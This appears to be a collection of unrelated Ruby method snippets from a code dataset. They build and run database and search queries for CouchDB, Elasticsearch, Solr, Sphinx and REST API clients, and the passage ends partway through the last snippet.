"def query_view(view_name, map_function, reduce_function, options)\n search_values = search_values(options)\n begin\n do_query_view(view_name, search_values)\n rescue DocumentNotFound\n create_view(view_name, map_function, reduce_function)\n do_query_view(view_name, search_values)\n end\n end",
"def map # :nologin: :norobots:\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n @query = create_query(:Observation, :of_name, :name => @name)\n @observations = @query.results.select {|o| o.lat or o.location}\n end\n end",
"def query(query)\n case query\n when RangeQuery\n get(\"query_range\", query.to_h)\n when SnapshotQuery\n get(\"query\", query.to_h)\n else\n raise RuntimeError, \"Unknown query type\" # The type system should catch this when we use it.\n end\n end",
"def apply_filters(query)\n query\n end",
"def make_query\n run_callbacks :make_query do\n self.scope.search(get_query_params)\n end\n end",
"def query\n return if @item[:query].present? # when :query excplicitly defined then no need to resolve matchers\n @item[:query] = cleanup(Query::Builder.for(item: @item))\n end",
"def query(*conditions)\n filters = (conditions + @mapping.conditions).compact.join(\" and \")\n filters = \" where #{filters}\" unless filters.empty?\n\n \"select #{lookups} from #{@record_type}#{filters}\"\n end",
"def query1\n @cquery = \"\"\n @tquery = \"\"\n if params[:condition_query].present?\n @cquery = params[:condition_query]\n responses = AlternateName.search(@cquery).records\n @conditions = []\n responses.each do |response|\n response.medical_conditions.each do |condition|\n @conditions << condition\n end\n end\n else\n @conditions = MedicalCondition.all\n end\n if params[:therapy_query].present?\n @tquery = params[:therapy_query]\n @therapies = MedicalTherapy.search(@tquery).records\n else\n @therapies = []\n end\n end",
"def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end",
"def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def raw_query( view_name, opts={} )\n opts = Gnash.new( opts ) unless opts.empty?\n doc_class = opts[:document_class]\n\n params = []\n params << 'include_docs=true' unless (opts[:select] && opts[:select] != 'all' || opts[:reduce])\n\n\n # TODO: this is according to couchdb really inefficent with large sets of data.\n # A better way would involve, using start and end keys with limit. But this\n # is a really hard one to figure with jumping around to different pages\n params << \"skip=#{opts[:offset]}\" if opts[:offset]\n params << \"limit=#{opts[:limit]}\" if opts[:limit]\n params << \"key=#{opts[:equals]}\" if opts[:equals]\n if opts[:order].to_s == 'desc' || opts[:order].to_s == 'descending'\n desc = true\n params << \"descending=true\"\n end\n if opts[:range] && opts[:range].size == 2\n params << \"startkey=#{opts[:range][desc == true ? 1 : 0 ]}\"\n params << \"endkey=#{opts[:range][desc == true ? 0 : 1]}\"\n end\n\n query_uri = \"#{uri}/_view/#{CGI.escape(view_name.to_s)}?\"\n query_uri << params.join('&')\n\n result = CouchSpring.get( query_uri )\n ResultSet.new( result, doc_class )\n end",
"def query(query_hash, options = {})\n\t \tget_records('-findquery', query_hash, options)\n\t end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def query_search(query, options={})\n run_query query, options\n end",
"def _query_map(object_type, hParams)\n return {} unless hParams\n\n object_type = object_type.to_sym if object_type.class == String\n\n result = {}\n maps = PrcLib.model.meta_obj.rh_get(object_type, :query_mapping)\n hParams.each do |key, value|\n key_path_obj = KeyPath.new(key)\n\n bold_action = ANSI.bold('ACTION REQUIRED')\n PrcLib.runtime_fail \"Forj query field '%s.%s' not defined by class\"\\\n \" '%s'.\\n#{bold_action}\"\\\n \":\\nMissing data model 'def_attribute' or \"\\\n \"'def_query_attribute' for '%s'??? \"\\\n \"Check the object '%s' data model.\",\n object_type, key_path_obj.key,\n self.class, key_path_obj.key,\n object_type unless maps.key?(key_path_obj.fpath)\n\n next if maps[key_path_obj.fpath].nil?\n\n map_path = KeyPath.new(maps[key_path_obj.fpath])\n _query_value_mapping(object_type, result, key_path_obj, map_path, value)\n end\n result\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def perform\n qe = QueryExecutor.new(map, reduce,functions, query_id.to_s, filter)\n results = qe.execute\n result = Result.new results\n result.query = Query.find(query_id)\n result.save!\n end",
"def query\n @operation = :query\n self\n end",
"def data_by_query(query_params)\n post_request( \"/api/v2_1/api/persons/search\",\n Formatter::RequestFormatter.format_person_search_query_data(query_params))\n end",
"def get_query_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.get_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.get_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#get_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def apply_filter(query)\n query\n end",
"def apply_filter(query)\n query\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def query_def; query.name; end",
"def solr_query(query, options = {})\n query_options = generate_query_options(query, options)\n activerecord_options = extract_activerecord_options(options)\n SolrSearchable::Handler::Select.new(query_options, self, {:format => :raw}).execute\n end",
"def method_missing(method_name, *args, &block)\n if Query.instance_methods(false).include?(method_name)\n Query.new(self).send(method_name, *args, &block)\n else\n super\n end\n end",
"def results(base_query)\n return base_query if @filters.nil?\n base_query.where @filters\n end",
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.get({params: query_params })\n self\n end",
"def query(params = nil, filters = nil)\n builder = ::Elastic::Query.new(params)\n builder.filter(filters) if filters\n builder\n end",
"def query(query)\n result = queries([query])\n return result[query]\n end",
"def get_query\n \n # Get query parameters passed\n query_params = request.query_parameters\n \n # Initialize query with country from route\n query = {'country' => params[:country]}\n \n # Allowed search terms, only these keys are searchable \n search_keys = ['name', 'a_id', 'pub_id', 'device', 'min_price', 'max_price',\n 'pub_name', 'min_app_rating', 'max_app_rating',\n 'category', 'sub_category', 'interests_only']\n \n # Iterate through the keys, determine if the params match the key and if so \n # add a condition to the query\n search_keys.each do |key|\n param = query_params[key]\n \n # Make sure the parameter is defined \n next unless param\n \n #logger.info('key %s, param %s' % [key, param])\n \n # handlers for different keys\n case key\n when 'a_id', 'pub_id'\n # IDs are floats so convert\n query[key] = query_params[key].to_f\n when 'name', 'pub_name'\n # Do regex match on names so you can match substring\n query[key] = /#{query_params[key]}/\n when 'min_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$gte] = param.to_f\n when 'max_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$lte] = param.to_f\n when 'min_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$gte] = param.to_f\n when 'max_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$lte] = param.to_f\n when 'interests_only'\n interest_query = []\n param.split(',').each do |interest|\n interest_query << {:interests => interest}\n end\n # And filter only the apps that have either one of the interests\n query[:$and] = [{:$or => interest_query}]\n else\n # Deals with all the parameters that are specified and match with\n # the model attributes\n query[key] = param\n end\n end\n \n return query\n end",
"def index\r\n @query_params = {}\r\n\r\n build_query_params(params)\r\n build_query_consultant_params\r\n\r\n @conditions = []\r\n @conditions << Consultant.arel_table[:name].matches(\"%#{@query_params[:name]}%\") if @query_params[:name]\r\n\r\n if @conditions.length > 0\r\n conditions = @conditions[0]\r\n @conditions.each_with_index do |item, index|\r\n conditions = conditions.or(item) if index > 0\r\n end\r\n @conditions = conditions\r\n end\r\n\r\n respond_to do |format|\r\n format.html { set_consultants_grid(@conditions) }\r\n format.json { render json: Consultant.where(@conditions) }\r\n end\r\n end",
"def query\r\n query_name = @request.ole_methods.detect{|m| m.to_s =~ /Query\\Z/}\r\n return nil if query_name.nil?\r\n @request.send(query_name.to_s.to_sym)\r\n end",
"def query_for(source, other_query = nil)\n repository_name = relative_target_repository_name_for(source)\n\n DataMapper.repository(repository_name).scope do\n query = target_model.query.dup\n query.update(self.query)\n query.update(source_scope(source))\n query.update(other_query) if other_query\n query.update(:fields => query.fields | target_key)\n end\n end",
"def process_query(query)\n # Nothing in default\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def replace_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.replace_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#replace_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def custom_queries\n @custom_queries ||= ::Valkyrie::Persistence::CustomQueryContainer.new(query_service: self)\n end",
"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def to_query\n hash = {:fields => [], :operators => {}, :values => {}}\n active_filters.each do |f|\n hash[:fields] << f.name\n hash[:operators][f.name] = f.operator\n hash[:values][f.name] = f.value\n end\n hash.to_query\n end",
"def query\n case query_type_str\n when 'empty'\n return\n when 'iso'\n return iso_query_builder\n when 'multi'\n return multi_query_builder\n end\n end",
"def searchUsing(filter)\n @zqlQuery = filter\n end",
"def _query(q, params={})\n engine = Java::OrgNeo4jCypherJavacompat::ExecutionEngine.new(db)\n result = engine.execute(q, Core::HashWithIndifferentAccess.new(params))\n Neo4j::Cypher::ResultWrapper.new(result)\n end",
"def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end",
"def filter(*query_names, &block)\n each_query(query_names) do |query|\n query.add_filter(block)\n end\n end",
"def add_general_query\n fields = [\n \"creators.name^5\",\n \"title^7\",\n \"endnotes\",\n \"notes\",\n \"summary\",\n \"tags.name\",\n \"series.title\"\n ]\n query_string = options[:q]\n return if query_string.blank?\n body.must(\n :query_string,\n fields: fields,\n query: query_string\n )\n end",
"def run_query()\n return nil unless @query\n \n gres = @query.execute()\n if @filterClass \n fres = @filterClass.filter(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n elsif @filterBlock \n fres = @filterBlock.call(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n else\n res = fres.result_s\n end\n res\n end",
"def query(tql)\n rid = tql[:rid]\n where = nil\n filter = nil\n if tql.has_key?(:where)\n w = tql[:where]\n where = w.is_a?(Array) ? ExprParser.parse(w) : w\n end\n filter = ExprParser.parse(tql[:filter]) if tql.has_key?(:filter)\n\n if tql.has_key?(:insert)\n insert(tql[:insert], rid, where, filter)\n elsif tql.has_key?(:update)\n update(tql[:update], rid, where, filter)\n elsif tql.has_key?(:delete)\n delete(tql[:delete], rid, where, filter)\n else\n select(tql[:select], rid, where, filter)\n end\n end",
"def retrieve_query\n if params[:set_filter] or !session[:query] or session[:query].project_id\n # Give it a name, required to be valid\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\n if params[:fields] and params[:fields].is_a? Array\n params[:fields].each do |field|\n @query.add_filter(field, params[:operators][field], params[:values][field])\n end\n else\n @query.available_filters.keys.each do |field|\n @query.add_short_filter(field, params[field]) if params[field]\n end\n end\n session[:query] = @query\n else\n @query = session[:query]\n end\n end",
"def query(sql, name = nil) #:nodoc:\n #log(sql, name) do\n #TODO: @async\n select_rows sql, name\n end",
"def read(name)\n mappers[name]\n end",
"def read(name)\n mappers[name]\n end",
"def run_query(query, options={})\n query = prepare_query query, options\n\n # Run the query\n response = self.__elasticsearch__.search query\n\n Hashie::Mash.new({\n records: response.records,\n total_entries: response.results.total\n })\n end",
"def retrieve_query\r\n if params[:query_id]\r\n @query = @project.queries.find(params[:query_id])\r\n @query.executed_by = logged_in_user\r\n session[:query] = @query\r\n else\r\n if params[:set_filter] or !session[:query] or session[:query].project_id != @project.id\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = @query\r\n else\r\n @query = session[:query]\r\n end\r\n end\r\n end",
"def request(query_description)\n raise MissingSqlQueryError if query_description[:raw_query].nil?\n\n request = {\n body: URI.encode_www_form('from': DateTime.strptime(query_description[:from], '%Q').strftime('%H:%M_%Y%m%d'),\n 'until': DateTime.strptime(query_description[:to], '%Q').strftime('%H:%M_%Y%m%d'),\n 'format': 'json',\n 'target': replace_variables(query_description[:raw_query], query_description[:variables])),\n content_type: 'application/x-www-form-urlencoded',\n request: Net::HTTP::Post\n }\n\n webrequest = query_description[:prepared_request]\n webrequest.relative_url = \"/api/datasources/proxy/#{id}/render\"\n webrequest.options.merge!(request)\n\n result = webrequest.execute(query_description[:timeout])\n preformat_response(result.body)\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def map\n @person = Person.find(params[:id])\n map_q(@person, params)\n end",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end",
"def run\n self.prominence!\n return self.send_results if @query.any?\n\n self.fuzzy_match\n self.apply_narrowing_filters\n self.apply_limit\n self.load_and_sort_by_matches\n self.send_results\n end",
"def create_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = create_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def query_full\n query = @initial_query.dup\n\n # restrict to select columns\n query = query_projection(query)\n\n #filter\n query = query_filter(query)\n\n # sorting\n query = query_sort(query)\n\n # paging\n query_paging(query)\n end",
"def compute_query_api_pattern_based_params(query_pattern_name, query_params={})\n # fix a method name\n pattern = query_api_patterns[query_pattern_name.to_s]\n # Complain if we dont know the method\n raise PatternNotFoundError::new(\"#{query_pattern_name.inspect} pattern not found\") unless pattern\n # Make sure we got what we expected\n query_params ||= {}\n raise Error::new(\"Params must be Hash but #{query_params.class.name} received.\") unless query_params.is_a?(Hash)\n # Make a new Hash instance from the incoming Hash.\n # Do not clone because we don't want to have HashWithIndifferentAccess instance or\n # something similar because we need to have Symbols and Strings separated.\n query_params = Hash[query_params]\n opts = {}\n opts[:body] = query_params.delete(:body)\n opts[:headers] = query_params.delete(:headers) || {}\n opts[:options] = query_params.delete(:options) || {}\n opts[:params] = query_params._stringify_keys\n opts[:manager] = self\n request_opts = compute_query_api_pattern_request_data(query_pattern_name, pattern, opts)\n # Try to use custom :process_rest_api_request method first because some auth things\n # may be required.\n # (see OpenStack case) otherwise use standard :process_api_request method\n { :method => respond_to?(:process_rest_api_request) ? :process_rest_api_request : :process_api_request,\n :verb => request_opts.delete(:verb),\n :path => request_opts.delete(:path),\n :opts => request_opts }\n end",
"def search(query)\n\t\t query = \"%#{query}%\"\n\t\t name = arel_table[:name].matches(query)\n\t\t aliases = arel_table[:aliases].matches(query)\n\t\t where(name.or(aliases))\n\t\tend",
"def base_query\n DataServicesApi::QueryGenerator.new\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def query(&block)\n Query.new(self, &block)\n end",
"def query_projection_default(query)\n apply_projections(query, @build.projections({ include: @render_fields }))\n end",
"def normalize_query(query, filters)\n filter = normalize_filters filters\n query ||= {match_all: {}}\n return query unless filter\n {filtered: {\n query: query,\n filter: filter,\n }}\n end",
"def for_query(query)\n all.find { |f| f.query == query }\n end",
"def query_params\n {\n name:,\n q: query,\n api_key:\n }\n end",
"def map name\n @mapper[name]\n end",
"def mqlread(query, options = {})\n Ken.logger.info \">>> Sending Query: #{query.to_json}\"\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def query_builder_with_filter_from_hash(params)\n types = get_types_parameters\n\n validate_parameters(types, params)\n\n pattern = params[:q]\n\n only_liked = params[:only_liked] == 'true'\n only_shared = params[:only_shared] == 'true'\n only_subscriptions = params[:subscribed] == 'true'\n only_samples = params[:sample] == 'true'\n exclude_shared = params[:exclude_shared] == 'true'\n exclude_raster = params[:exclude_raster] == 'true'\n locked = params[:locked]\n shared = compose_shared(params[:shared], only_shared, exclude_shared)\n tags = params.fetch(:tags, '').split(',')\n tags = nil if tags.empty?\n bbox_parameter = params.fetch(:bbox,nil)\n privacy = params.fetch(:privacy,nil)\n only_with_display_name = params[:only_with_display_name] == 'true'\n with_dependent_visualizations = params[:with_dependent_visualizations].to_i\n only_published = params[:only_published] == 'true'\n\n vqb = VisualizationQueryBuilder.new\n .with_prefetch_user\n .with_prefetch_table\n .with_prefetch_permission\n .with_prefetch_synchronization\n .with_prefetch_external_source\n .with_types(types)\n .with_tags(tags)\n\n if !bbox_parameter.blank?\n vqb.with_bounding_box(Carto::BoundingBoxUtils.parse_bbox_parameters(bbox_parameter))\n end\n\n # FIXME Patch to exclude legacy visualization from data-library #5097\n if only_with_display_name\n vqb.with_display_name\n end\n\n vqb.with_published if only_published\n\n if current_user\n vqb.with_current_user_id(current_user.id)\n vqb.with_liked_by_user_id(current_user.id) if only_liked\n vqb.with_subscription if only_subscriptions\n vqb.with_sample if only_samples\n case shared\n when FILTER_SHARED_YES\n vqb.with_owned_by_or_shared_with_user_id(current_user.id)\n when FILTER_SHARED_NO\n vqb.with_user_id(current_user.id) if !only_liked\n when FILTER_SHARED_ONLY\n vqb.with_shared_with_user_id(current_user.id)\n .with_user_id_not(current_user.id)\n end\n\n vqb.without_raster if exclude_raster\n\n if locked == 'true'\n vqb.with_locked(true)\n elsif locked == 'false'\n vqb.with_locked(false)\n end\n\n if types.include? Carto::Visualization::TYPE_REMOTE\n vqb.without_synced_external_sources\n vqb.without_imported_remote_visualizations\n end\n\n vqb.with_privacy(privacy) unless privacy.nil?\n\n if with_dependent_visualizations.positive? && !current_user.has_feature_flag?('faster-dependencies')\n vqb.with_prefetch_dependent_visualizations\n end\n else\n user = Carto::User.where(username: CartoDB.extract_subdomain(request)).first\n raise Carto::ParamInvalidError.new(:username) unless user.present?\n vqb.with_user_id(user.id)\n .with_privacy(Carto::Visualization::PRIVACY_PUBLIC)\n end\n\n if pattern.present?\n vqb.with_partial_match(pattern)\n end\n\n vqb\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end",
"def query(query, params={})\n query_url = \"#{API_URL}/query.json?#{query}\"\n perform_get_request(query_url, params)\n end",
"def search_query(authorization, \n query)\n\n # prepare query url\n _query_builder = Configuration.get_base_uri()\n _query_builder << '/search/{query}'\n _query_builder = APIHelper.append_url_with_template_parameters _query_builder, {\n 'query' => query\n }\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'accept' => 'application/json',\n 'Authorization' => Configuration.authorization,\n 'Authorization' => authorization\n }\n\n # prepare and execute HttpRequest\n _request = @http_client.get _query_url, headers: _headers\n CustomAuth.apply(_request)\n _context = execute_request(_request)\n\n # validate response against endpoint and global error codes\n if _context.response.status_code == 400\n raise EntitiesErrorErrorException.new 'Bad Request', _context\n elsif _context.response.status_code == 401\n raise EntitiesErrorErrorException.new 'Unauthorized/Missing Token', _context\n elsif !_context.response.status_code.between?(200, 208)\n raise APIException.new 'Unexpected error', _context\n end\n validate_response(_context)\n\n # return appropriate response type\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\n return SearchQueryResponse.from_hash(decoded)\n end",
"def to_query\n {\n json: query\n }\n end",
"def to_query\n {\n json: query\n }\n end",
"def where(query = {})\n payload = api.call('interface', [ query ], namespace: :mapping)\n\n raise SNT::PMS::Errors::PMSError, payload['errors'] if payload.key?('errors')\n\n payload['results'].inject([]) do |objects, obj|\n # Select the attributes from the attributes key\n object_attributes = obj.map { |k, v| [k.tr('-', '_').to_sym, v] }.to_h\n\n objects << new(object_attributes)\n end\n end",
"def RunQueries\n if @reqs.empty?\n @error = 'No queries defined, issue AddQuery() first'\n return false\n end\n\n req = @reqs.join('')\n nreqs = @reqs.length\n @reqs = []\n response = PerformRequest(:search, req, nreqs)\n \n # parse response\n begin\n results = []\n ires = 0\n while ires < nreqs\n ires += 1\n result = {}\n \n result['error'] = ''\n result['warning'] = ''\n \n # extract status\n status = result['status'] = response.get_int\n if status != SEARCHD_OK\n message = response.get_string\n if status == SEARCHD_WARNING\n result['warning'] = message\n else\n result['error'] = message\n results << result\n next\n end\n end\n \n # read schema\n fields = []\n attrs = {}\n attrs_names_in_order = []\n \n nfields = response.get_int\n while nfields > 0\n nfields -= 1\n fields << response.get_string\n end\n result['fields'] = fields\n \n nattrs = response.get_int\n while nattrs > 0\n nattrs -= 1\n attr = response.get_string\n type = response.get_int\n attrs[attr] = type\n attrs_names_in_order << attr\n end\n result['attrs'] = attrs\n \n # read match count\n count = response.get_int\n id64 = response.get_int\n \n # read matches\n result['matches'] = []\n while count > 0\n count -= 1\n \n if id64 != 0\n doc = response.get_int64\n weight = response.get_int\n else\n doc, weight = response.get_ints(2)\n end\n \n r = {} # This is a single result put in the result['matches'] array\n r['id'] = doc\n r['weight'] = weight\n attrs_names_in_order.each do |a|\n r['attrs'] ||= {}\n \n case attrs[a]\n when SPH_ATTR_BIGINT\n # handle 64-bit ints\n r['attrs'][a] = response.get_int64\n when SPH_ATTR_FLOAT\n # handle floats\n r['attrs'][a] = response.get_float\n\t\t\t\twhen SPH_ATTR_STRING\n\t\t\t\t # handle string\n\t\t\t\t r['attrs'][a] = response.get_string\n else\n # handle everything else as unsigned ints\n val = response.get_int\n if attrs[a]==SPH_ATTR_MULTI\n r['attrs'][a] = []\n 1.upto(val) do\n r['attrs'][a] << response.get_int\n end\n elsif attrs[a]==SPH_ATTR_MULTI64\n r['attrs'][a] = []\n\t\t\t\t\tval = val/2\n 1.upto(val) do\n r['attrs'][a] << response.get_int64\n end\n else\n r['attrs'][a] = val\n end\n end\n end\n result['matches'] << r\n end\n result['total'], result['total_found'], msecs, words = response.get_ints(4)\n result['time'] = '%.3f' % (msecs / 1000.0)\n \n result['words'] = {}\n while words > 0\n words -= 1\n word = response.get_string\n docs, hits = response.get_ints(2)\n result['words'][word] = { 'docs' => docs, 'hits' => hits }\n end\n \n results << result\n end\n #rescue EOFError\n # @error = 'incomplete reply'\n # raise SphinxResponseError, @error\n end\n \n return results\n end",
"def query(sql, name = nil) #:nodoc:\n log(sql, name) do\n @connection.execute(sql).rows\n end\n end",
"def search\n\n # define the elasticsearch result \"size\" (limit)\n limit = params['limit'].to_i\n # define the elasticsearch result \"from\" (offset)\n offset = params['offset'].to_i\n # Pass through\n hack = params['hack']\n # Default output\n searchResults = ''\n # If we have filters, we need to parse them\n if params['filters'].present?\n filters = []\n # For each of the filters format them and stuff them into an array\n params['filters'].each do |key, filter|\n\n if [\n 'properties.educationalAlignment.properties.targetName',\n 'properties.inLanguage',\n 'properties.isBasedOnUrl',\n 'properties.thumbnailUrl',\n 'properties.timeRequired',\n 'properties.typicalAgeRange',\n 'properties.url',\n 'properties.useRightsUrl'\n ].include?(key)\n searchKey = \"schema-org.#{key}.original\"\n matchTerm = 'term'\n else\n searchKey = \"schema-org.#{key}\"\n matchTerm = 'match'\n end\n\n if filter.keys.count > 1\n # This is more complex because this filter type needs the keys or'd together\n orFilters = []\n filter.keys.each do |f|\n orFilters << { 'query' => { matchTerm => { searchKey => f.to_s } } }\n end\n filters << { 'or' => orFilters }\n else\n # This should be simple, there is only one of this filter key\n filters << { 'query' => { matchTerm => { searchKey => filter.keys.first.to_s } } }\n end\n end\n\n # If the query is present we need to match it\n if params['query'].present?\n query = { 'match' => { '_all' => params['query'] } }\n filter = { 'and' => filters }\n # If no query is present then we can wildcard against anything\n else\n query = { 'match_all' => { } }\n filter = { 'and' => filters }\n end\n # if not filter is present then just match against query\n else\n query = { 'match' => { '_all' => params['query'] } }\n end\n\n # Build the payload from the various parts\n payload = {\n 'size' => limit,\n 'from' => offset,\n 'query' => {\n 'filtered' => {\n 'query' => query,\n 'filter' => filter\n }\n },\n \"facets\" => {\n \"intendedEndUserRole\" => {\n \"terms\" => {\n \"field\" => 